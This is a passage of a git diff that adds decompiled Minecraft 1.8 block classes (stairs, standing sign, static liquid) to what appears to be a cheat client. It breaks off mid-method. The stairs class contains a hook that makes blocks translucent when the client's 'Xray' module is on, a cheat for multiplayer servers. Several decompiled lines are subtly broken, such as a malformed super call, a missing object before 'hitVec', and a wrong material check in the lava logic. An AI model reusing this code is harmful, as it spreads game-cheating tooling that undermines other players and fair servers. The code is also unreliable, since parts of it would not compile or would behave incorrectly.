+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.util.Vec3;
+import net.minecraft.world.Explosion;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockStairs extends Block
+{
+  public static final PropertyDirection FACING = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  public static final PropertyEnum HALF = PropertyEnum.create("half", EnumHalf.class);
+  public static final PropertyEnum SHAPE = PropertyEnum.create("shape", EnumShape.class);
+  private static final int[][] field_150150_a = { { 4, 5 }, { 5, 7 }, { 6, 7 }, { 4, 6 }, { 0, 1 }, { 1, 3 }, { 2, 3 }, { 0, 2 } };
+  private final Block modelBlock;
+  private final IBlockState modelState;
+  private boolean field_150152_N;
+  private int field_150153_O;
+  private static final String __OBFID = "CL_00000314";
+  
+  protected BlockStairs(IBlockState modelState)
+  {
+    super(getBlockblockMaterial);
+    setDefaultState(blockState.getBaseState().withProperty(FACING, EnumFacing.NORTH).withProperty(HALF, EnumHalf.BOTTOM).withProperty(SHAPE, EnumShape.STRAIGHT));
+    modelBlock = modelState.getBlock();
+    this.modelState = modelState;
+    setHardness(modelBlock.blockHardness);
+    setResistance(modelBlock.blockResistance / 3.0F);
+    setStepSound(modelBlock.stepSound);
+    setLightOpacity(255);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    if (field_150152_N)
+    {
+      setBlockBounds(0.5F * (field_150153_O % 2), 0.5F * (field_150153_O / 4 % 2), 0.5F * (field_150153_O / 2 % 2), 0.5F + 0.5F * (field_150153_O % 2), 0.5F + 0.5F * (field_150153_O / 4 % 2), 0.5F + 0.5F * (field_150153_O / 2 % 2));
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    }
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setBaseCollisionBounds(IBlockAccess worldIn, BlockPos pos)
+  {
+    if (worldIn.getBlockState(pos).getValue(HALF) == EnumHalf.TOP)
+    {
+      setBlockBounds(0.0F, 0.5F, 0.0F, 1.0F, 1.0F, 1.0F);
+    }
+    else
+    {
+      setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 0.5F, 1.0F);
+    }
+  }
+  
+
+
+
+  public static boolean isBlockStairs(Block p_150148_0_)
+  {
+    return p_150148_0_ instanceof BlockStairs;
+  }
+  
+
+
+
+  public static boolean isSameStair(IBlockAccess worldIn, BlockPos pos, IBlockState state)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    Block var4 = var3.getBlock();
+    return (isBlockStairs(var4)) && (var3.getValue(HALF) == state.getValue(HALF)) && (var3.getValue(FACING) == state.getValue(FACING));
+  }
+  
+  public int func_176307_f(IBlockAccess p_176307_1_, BlockPos p_176307_2_)
+  {
+    IBlockState var3 = p_176307_1_.getBlockState(p_176307_2_);
+    EnumFacing var4 = (EnumFacing)var3.getValue(FACING);
+    EnumHalf var5 = (EnumHalf)var3.getValue(HALF);
+    boolean var6 = var5 == EnumHalf.TOP;
+    
+
+
+
+    if (var4 == EnumFacing.EAST)
+    {
+      IBlockState var7 = p_176307_1_.getBlockState(p_176307_2_.offsetEast());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.NORTH) && (!isSameStair(p_176307_1_, p_176307_2_.offsetSouth(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+        
+        if ((var9 == EnumFacing.SOUTH) && (!isSameStair(p_176307_1_, p_176307_2_.offsetNorth(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.WEST)
+    {
+      IBlockState var7 = p_176307_1_.getBlockState(p_176307_2_.offsetWest());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.NORTH) && (!isSameStair(p_176307_1_, p_176307_2_.offsetSouth(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+        
+        if ((var9 == EnumFacing.SOUTH) && (!isSameStair(p_176307_1_, p_176307_2_.offsetNorth(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.SOUTH)
+    {
+      IBlockState var7 = p_176307_1_.getBlockState(p_176307_2_.offsetSouth());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.WEST) && (!isSameStair(p_176307_1_, p_176307_2_.offsetEast(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+        
+        if ((var9 == EnumFacing.EAST) && (!isSameStair(p_176307_1_, p_176307_2_.offsetWest(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.NORTH)
+    {
+      IBlockState var7 = p_176307_1_.getBlockState(p_176307_2_.offsetNorth());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.WEST) && (!isSameStair(p_176307_1_, p_176307_2_.offsetEast(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+        
+        if ((var9 == EnumFacing.EAST) && (!isSameStair(p_176307_1_, p_176307_2_.offsetWest(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+      }
+    }
+    
+    return 0;
+  }
+  
+  public int func_176305_g(IBlockAccess p_176305_1_, BlockPos p_176305_2_)
+  {
+    IBlockState var3 = p_176305_1_.getBlockState(p_176305_2_);
+    EnumFacing var4 = (EnumFacing)var3.getValue(FACING);
+    EnumHalf var5 = (EnumHalf)var3.getValue(HALF);
+    boolean var6 = var5 == EnumHalf.TOP;
+    
+
+
+
+    if (var4 == EnumFacing.EAST)
+    {
+      IBlockState var7 = p_176305_1_.getBlockState(p_176305_2_.offsetWest());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.NORTH) && (!isSameStair(p_176305_1_, p_176305_2_.offsetNorth(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+        
+        if ((var9 == EnumFacing.SOUTH) && (!isSameStair(p_176305_1_, p_176305_2_.offsetSouth(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.WEST)
+    {
+      IBlockState var7 = p_176305_1_.getBlockState(p_176305_2_.offsetEast());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.NORTH) && (!isSameStair(p_176305_1_, p_176305_2_.offsetNorth(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+        
+        if ((var9 == EnumFacing.SOUTH) && (!isSameStair(p_176305_1_, p_176305_2_.offsetSouth(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.SOUTH)
+    {
+      IBlockState var7 = p_176305_1_.getBlockState(p_176305_2_.offsetNorth());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.WEST) && (!isSameStair(p_176305_1_, p_176305_2_.offsetWest(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+        
+        if ((var9 == EnumFacing.EAST) && (!isSameStair(p_176305_1_, p_176305_2_.offsetEast(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.NORTH)
+    {
+      IBlockState var7 = p_176305_1_.getBlockState(p_176305_2_.offsetSouth());
+      Block var8 = var7.getBlock();
+      
+      if ((isBlockStairs(var8)) && (var5 == var7.getValue(HALF)))
+      {
+        EnumFacing var9 = (EnumFacing)var7.getValue(FACING);
+        
+        if ((var9 == EnumFacing.WEST) && (!isSameStair(p_176305_1_, p_176305_2_.offsetWest(), var3)))
+        {
+          return var6 ? 1 : 2;
+        }
+        
+        if ((var9 == EnumFacing.EAST) && (!isSameStair(p_176305_1_, p_176305_2_.offsetEast(), var3)))
+        {
+          return var6 ? 2 : 1;
+        }
+      }
+    }
+    
+    return 0;
+  }
+  
+  public boolean func_176306_h(IBlockAccess p_176306_1_, BlockPos p_176306_2_)
+  {
+    IBlockState var3 = p_176306_1_.getBlockState(p_176306_2_);
+    EnumFacing var4 = (EnumFacing)var3.getValue(FACING);
+    EnumHalf var5 = (EnumHalf)var3.getValue(HALF);
+    boolean var6 = var5 == EnumHalf.TOP;
+    float var7 = 0.5F;
+    float var8 = 1.0F;
+    
+    if (var6)
+    {
+      var7 = 0.0F;
+      var8 = 0.5F;
+    }
+    
+    float var9 = 0.0F;
+    float var10 = 1.0F;
+    float var11 = 0.0F;
+    float var12 = 0.5F;
+    boolean var13 = true;
+    
+
+
+
+    if (var4 == EnumFacing.EAST)
+    {
+      var9 = 0.5F;
+      var12 = 1.0F;
+      IBlockState var14 = p_176306_1_.getBlockState(p_176306_2_.offsetEast());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.NORTH) && (!isSameStair(p_176306_1_, p_176306_2_.offsetSouth(), var3)))
+        {
+          var12 = 0.5F;
+          var13 = false;
+        }
+        else if ((var16 == EnumFacing.SOUTH) && (!isSameStair(p_176306_1_, p_176306_2_.offsetNorth(), var3)))
+        {
+          var11 = 0.5F;
+          var13 = false;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.WEST)
+    {
+      var10 = 0.5F;
+      var12 = 1.0F;
+      IBlockState var14 = p_176306_1_.getBlockState(p_176306_2_.offsetWest());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.NORTH) && (!isSameStair(p_176306_1_, p_176306_2_.offsetSouth(), var3)))
+        {
+          var12 = 0.5F;
+          var13 = false;
+        }
+        else if ((var16 == EnumFacing.SOUTH) && (!isSameStair(p_176306_1_, p_176306_2_.offsetNorth(), var3)))
+        {
+          var11 = 0.5F;
+          var13 = false;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.SOUTH)
+    {
+      var11 = 0.5F;
+      var12 = 1.0F;
+      IBlockState var14 = p_176306_1_.getBlockState(p_176306_2_.offsetSouth());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.WEST) && (!isSameStair(p_176306_1_, p_176306_2_.offsetEast(), var3)))
+        {
+          var10 = 0.5F;
+          var13 = false;
+        }
+        else if ((var16 == EnumFacing.EAST) && (!isSameStair(p_176306_1_, p_176306_2_.offsetWest(), var3)))
+        {
+          var9 = 0.5F;
+          var13 = false;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.NORTH)
+    {
+      IBlockState var14 = p_176306_1_.getBlockState(p_176306_2_.offsetNorth());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.WEST) && (!isSameStair(p_176306_1_, p_176306_2_.offsetEast(), var3)))
+        {
+          var10 = 0.5F;
+          var13 = false;
+        }
+        else if ((var16 == EnumFacing.EAST) && (!isSameStair(p_176306_1_, p_176306_2_.offsetWest(), var3)))
+        {
+          var9 = 0.5F;
+          var13 = false;
+        }
+      }
+    }
+    
+    setBlockBounds(var9, var7, var11, var10, var8, var12);
+    return var13;
+  }
+  
+  public boolean func_176304_i(IBlockAccess p_176304_1_, BlockPos p_176304_2_)
+  {
+    IBlockState var3 = p_176304_1_.getBlockState(p_176304_2_);
+    EnumFacing var4 = (EnumFacing)var3.getValue(FACING);
+    EnumHalf var5 = (EnumHalf)var3.getValue(HALF);
+    boolean var6 = var5 == EnumHalf.TOP;
+    float var7 = 0.5F;
+    float var8 = 1.0F;
+    
+    if (var6)
+    {
+      var7 = 0.0F;
+      var8 = 0.5F;
+    }
+    
+    float var9 = 0.0F;
+    float var10 = 0.5F;
+    float var11 = 0.5F;
+    float var12 = 1.0F;
+    boolean var13 = false;
+    
+
+
+
+    if (var4 == EnumFacing.EAST)
+    {
+      IBlockState var14 = p_176304_1_.getBlockState(p_176304_2_.offsetWest());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.NORTH) && (!isSameStair(p_176304_1_, p_176304_2_.offsetNorth(), var3)))
+        {
+          var11 = 0.0F;
+          var12 = 0.5F;
+          var13 = true;
+        }
+        else if ((var16 == EnumFacing.SOUTH) && (!isSameStair(p_176304_1_, p_176304_2_.offsetSouth(), var3)))
+        {
+          var11 = 0.5F;
+          var12 = 1.0F;
+          var13 = true;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.WEST)
+    {
+      IBlockState var14 = p_176304_1_.getBlockState(p_176304_2_.offsetEast());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        var9 = 0.5F;
+        var10 = 1.0F;
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.NORTH) && (!isSameStair(p_176304_1_, p_176304_2_.offsetNorth(), var3)))
+        {
+          var11 = 0.0F;
+          var12 = 0.5F;
+          var13 = true;
+        }
+        else if ((var16 == EnumFacing.SOUTH) && (!isSameStair(p_176304_1_, p_176304_2_.offsetSouth(), var3)))
+        {
+          var11 = 0.5F;
+          var12 = 1.0F;
+          var13 = true;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.SOUTH)
+    {
+      IBlockState var14 = p_176304_1_.getBlockState(p_176304_2_.offsetNorth());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        var11 = 0.0F;
+        var12 = 0.5F;
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.WEST) && (!isSameStair(p_176304_1_, p_176304_2_.offsetWest(), var3)))
+        {
+          var13 = true;
+        }
+        else if ((var16 == EnumFacing.EAST) && (!isSameStair(p_176304_1_, p_176304_2_.offsetEast(), var3)))
+        {
+          var9 = 0.5F;
+          var10 = 1.0F;
+          var13 = true;
+        }
+      }
+    }
+    else if (var4 == EnumFacing.NORTH)
+    {
+      IBlockState var14 = p_176304_1_.getBlockState(p_176304_2_.offsetSouth());
+      Block var15 = var14.getBlock();
+      
+      if ((isBlockStairs(var15)) && (var5 == var14.getValue(HALF)))
+      {
+        EnumFacing var16 = (EnumFacing)var14.getValue(FACING);
+        
+        if ((var16 == EnumFacing.WEST) && (!isSameStair(p_176304_1_, p_176304_2_.offsetWest(), var3)))
+        {
+          var13 = true;
+        }
+        else if ((var16 == EnumFacing.EAST) && (!isSameStair(p_176304_1_, p_176304_2_.offsetEast(), var3)))
+        {
+          var9 = 0.5F;
+          var10 = 1.0F;
+          var13 = true;
+        }
+      }
+    }
+    
+    if (var13)
+    {
+      setBlockBounds(var9, var7, var11, var10, var8, var12);
+    }
+    
+    return var13;
+  }
+  
+
+
+
+
+
+  public void addCollisionBoxesToList(World worldIn, BlockPos pos, IBlockState state, AxisAlignedBB mask, List list, Entity collidingEntity)
+  {
+    setBaseCollisionBounds(worldIn, pos);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    boolean var7 = func_176306_h(worldIn, pos);
+    super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    
+    if ((var7) && (func_176304_i(worldIn, pos)))
+    {
+      super.addCollisionBoxesToList(worldIn, pos, state, mask, list, collidingEntity);
+    }
+    
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public void randomDisplayTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    modelBlock.randomDisplayTick(worldIn, pos, state, rand);
+  }
+  
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    modelBlock.onBlockClicked(worldIn, pos, playerIn);
+  }
+  
+
+
+
+  public void onBlockDestroyedByPlayer(World worldIn, BlockPos pos, IBlockState state)
+  {
+    modelBlock.onBlockDestroyedByPlayer(worldIn, pos, state);
+  }
+  
+  public int getMixedBrightnessForBlock(IBlockAccess worldIn, BlockPos pos)
+  {
+    return modelBlock.getMixedBrightnessForBlock(worldIn, pos);
+  }
+  
+
+
+
+  public float getExplosionResistance(Entity exploder)
+  {
+    return modelBlock.getExplosionResistance(exploder);
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    if (Client.instance.getModuleManager().getModuleByClass(Xray.class).isEnabled()) {
+      return EnumWorldBlockLayer.TRANSLUCENT;
+    }
+    return modelBlock.getBlockLayer();
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return modelBlock.tickRate(worldIn);
+  }
+  
+  public AxisAlignedBB getSelectedBoundingBox(World worldIn, BlockPos pos)
+  {
+    return modelBlock.getSelectedBoundingBox(worldIn, pos);
+  }
+  
+  public Vec3 modifyAcceleration(World worldIn, BlockPos pos, Entity entityIn, Vec3 motion)
+  {
+    return modelBlock.modifyAcceleration(worldIn, pos, entityIn, motion);
+  }
+  
+
+
+
+  public boolean isCollidable()
+  {
+    return modelBlock.isCollidable();
+  }
+  
+  public boolean canCollideCheck(IBlockState state, boolean p_176209_2_)
+  {
+    return modelBlock.canCollideCheck(state, p_176209_2_);
+  }
+  
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return modelBlock.canPlaceBlockAt(worldIn, pos);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    onNeighborBlockChange(worldIn, pos, modelState, net.minecraft.init.Blocks.air);
+    modelBlock.onBlockAdded(worldIn, pos, modelState);
+  }
+  
+  public void breakBlock(World worldIn, BlockPos pos, IBlockState state)
+  {
+    modelBlock.breakBlock(worldIn, pos, modelState);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, Entity entityIn)
+  {
+    modelBlock.onEntityCollidedWithBlock(worldIn, pos, entityIn);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    modelBlock.updateTick(worldIn, pos, state, rand);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    return modelBlock.onBlockActivated(worldIn, pos, modelState, playerIn, EnumFacing.DOWN, 0.0F, 0.0F, 0.0F);
+  }
+  
+
+
+
+  public void onBlockDestroyedByExplosion(World worldIn, BlockPos pos, Explosion explosionIn)
+  {
+    modelBlock.onBlockDestroyedByExplosion(worldIn, pos, explosionIn);
+  }
+  
+
+
+
+  public MapColor getMapColor(IBlockState state)
+  {
+    return modelBlock.getMapColor(modelState);
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = super.onBlockPlaced(worldIn, pos, facing, hitX, hitY, hitZ, meta, placer);
+    var9 = var9.withProperty(FACING, placer.func_174811_aO()).withProperty(SHAPE, EnumShape.STRAIGHT);
+    return (facing != EnumFacing.DOWN) && ((facing == EnumFacing.UP) || (hitY <= 0.5D)) ? var9.withProperty(HALF, EnumHalf.BOTTOM) : var9.withProperty(HALF, EnumHalf.TOP);
+  }
+  
+
+
+
+
+
+
+  public MovingObjectPosition collisionRayTrace(World worldIn, BlockPos pos, Vec3 start, Vec3 end)
+  {
+    MovingObjectPosition[] var5 = new MovingObjectPosition[8];
+    IBlockState var6 = worldIn.getBlockState(pos);
+    int var7 = ((EnumFacing)var6.getValue(FACING)).getHorizontalIndex();
+    boolean var8 = var6.getValue(HALF) == EnumHalf.TOP;
+    int[] var9 = field_150150_a[(var7 + 0)];
+    field_150152_N = true;
+    
+    for (int var10 = 0; var10 < 8; var10++)
+    {
+      field_150153_O = var10;
+      
+      if (Arrays.binarySearch(var9, var10) < 0)
+      {
+        var5[var10] = super.collisionRayTrace(worldIn, pos, start, end);
+      }
+    }
+    
+    int[] var19 = var9;
+    int var11 = var9.length;
+    
+    for (int var12 = 0; var12 < var11; var12++)
+    {
+      int var13 = var19[var12];
+      var5[var13] = null;
+    }
+    
+    MovingObjectPosition var20 = null;
+    double var21 = 0.0D;
+    MovingObjectPosition[] var22 = var5;
+    int var14 = var5.length;
+    
+    for (int var15 = 0; var15 < var14; var15++)
+    {
+      MovingObjectPosition var16 = var22[var15];
+      
+      if (var16 != null)
+      {
+        double var17 = hitVec.squareDistanceTo(end);
+        
+        if (var17 > var21)
+        {
+          var20 = var16;
+          var21 = var17;
+        }
+      }
+    }
+    
+    return var20;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(HALF, (meta & 0x4) > 0 ? EnumHalf.TOP : EnumHalf.BOTTOM);
+    var2 = var2.withProperty(FACING, EnumFacing.getFront(5 - (meta & 0x3)));
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    
+    if (state.getValue(HALF) == EnumHalf.TOP)
+    {
+      var2 |= 0x4;
+    }
+    
+    var2 |= 5 - ((EnumFacing)state.getValue(FACING)).getIndex();
+    return var2;
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    if (func_176306_h(worldIn, pos))
+    {
+      switch (func_176305_g(worldIn, pos))
+      {
+      case 0: 
+        state = state.withProperty(SHAPE, EnumShape.STRAIGHT);
+        break;
+      
+      case 1: 
+        state = state.withProperty(SHAPE, EnumShape.INNER_RIGHT);
+        break;
+      
+      case 2: 
+        state = state.withProperty(SHAPE, EnumShape.INNER_LEFT);
+      
+      }
+      
+    } else {
+      switch (func_176307_f(worldIn, pos))
+      {
+      case 0: 
+        state = state.withProperty(SHAPE, EnumShape.STRAIGHT);
+        break;
+      
+      case 1: 
+        state = state.withProperty(SHAPE, EnumShape.OUTER_RIGHT);
+        break;
+      
+      case 2: 
+        state = state.withProperty(SHAPE, EnumShape.OUTER_LEFT);
+      }
+      
+    }
+    return state;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { FACING, HALF, SHAPE });
+  }
+  
+  public static enum EnumHalf implements IStringSerializable
+  {
+    TOP("TOP", 0, "top"), 
+    BOTTOM("BOTTOM", 1, "bottom");
+    
+    private final String field_176709_c;
+    private static final EnumHalf[] $VALUES = { TOP, BOTTOM };
+    private static final String __OBFID = "CL_00002062";
+    
+    private EnumHalf(String p_i45683_1_, int p_i45683_2_, String p_i45683_3_)
+    {
+      field_176709_c = p_i45683_3_;
+    }
+    
+    public String toString()
+    {
+      return field_176709_c;
+    }
+    
+    public String getName()
+    {
+      return field_176709_c;
+    }
+  }
+  
+  public static enum EnumShape implements IStringSerializable
+  {
+    STRAIGHT("STRAIGHT", 0, "straight"), 
+    INNER_LEFT("INNER_LEFT", 1, "inner_left"), 
+    INNER_RIGHT("INNER_RIGHT", 2, "inner_right"), 
+    OUTER_LEFT("OUTER_LEFT", 3, "outer_left"), 
+    OUTER_RIGHT("OUTER_RIGHT", 4, "outer_right");
+    
+    private final String field_176699_f;
+    private static final EnumShape[] $VALUES = { STRAIGHT, INNER_LEFT, INNER_RIGHT, OUTER_LEFT, OUTER_RIGHT };
+    private static final String __OBFID = "CL_00002061";
+    
+    private EnumShape(String p_i45682_1_, int p_i45682_2_, String p_i45682_3_)
+    {
+      field_176699_f = p_i45682_3_;
+    }
+    
+    public String toString()
+    {
+      return field_176699_f;
+    }
+    
+    public String getName()
+    {
+      return field_176699_f;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStandingSign.java b/src/minecraft/net/minecraft/block/BlockStandingSign.java
new file mode 100644
index 0000000..9d50b01
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStandingSign.java
@@ -0,0 +1,51 @@
+package net.minecraft.block;
+
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyInteger;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class BlockStandingSign extends BlockSign
+{
+  public static final PropertyInteger ROTATION_PROP = PropertyInteger.create("rotation", 0, 15);
+  private static final String __OBFID = "CL_00002060";
+  
+  public BlockStandingSign()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(ROTATION_PROP, Integer.valueOf(0)));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!worldIn.getBlockState(pos.offsetDown()).getBlock().getMaterial().isSolid())
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+    
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(ROTATION_PROP, Integer.valueOf(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((Integer)state.getValue(ROTATION_PROP)).intValue();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { ROTATION_PROP });
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockStaticLiquid.java b/src/minecraft/net/minecraft/block/BlockStaticLiquid.java
new file mode 100644
index 0000000..082369e
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockStaticLiquid.java
@@ -0,0 +1,110 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.init.Blocks;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class BlockStaticLiquid extends BlockLiquid
+{
+  private static final String __OBFID = "CL_00000315";
+  
+  protected BlockStaticLiquid(Material p_i45429_1_)
+  {
+    super(p_i45429_1_);
+    setTickRandomly(false);
+    
+    if (p_i45429_1_ == Material.lava)
+    {
+      setTickRandomly(true);
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if (!func_176365_e(worldIn, pos, state))
+    {
+      updateLiquid(worldIn, pos, state);
+    }
+  }
+  
+  private void updateLiquid(World worldIn, BlockPos p_176370_2_, IBlockState p_176370_3_)
+  {
+    BlockDynamicLiquid var4 = getDynamicLiquidForMaterial(blockMaterial);
+    worldIn.setBlockState(p_176370_2_, var4.getDefaultState().withProperty(LEVEL, p_176370_3_.getValue(LEVEL)), 2);
+    worldIn.scheduleUpdate(p_176370_2_, var4, tickRate(worldIn));
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (blockMaterial == Material.lava)
+    {
+      if (worldIn.getGameRules().getGameRuleBooleanValue("doFireTick"))
+      {
+        int var5 = rand.nextInt(3);
+        
+        if (var5 > 0)
+        {
+          BlockPos var6 = pos;
+          
+          for (int var7 = 0; var7 < var5; var7++)
+          {
+            var6 = var6.add(rand.nextInt(3) - 1, 1, rand.nextInt(3) - 1);
+            Block var8 = worldIn.getBlockState(var6).getBlock();
+            
+            if (blockMaterial == Material.air)
+            {
+              if (isSurroundingBlockFlammable(worldIn, var6))
+              {
+                worldIn.setBlockState(var6, Blocks.fire.getDefaultState());
+              }
+              
+            }
+            else if (blockMaterial.blocksMovement())
+            {
+              return;
+            }
+          }
+        }
+        else
+        {
+          for (int var9 = 0; var9 < 3; var9++)
+          {
+            BlockPos var10 = pos.add(rand.nextInt(3) - 1, 0, rand.nextInt(3) - 1);
+            
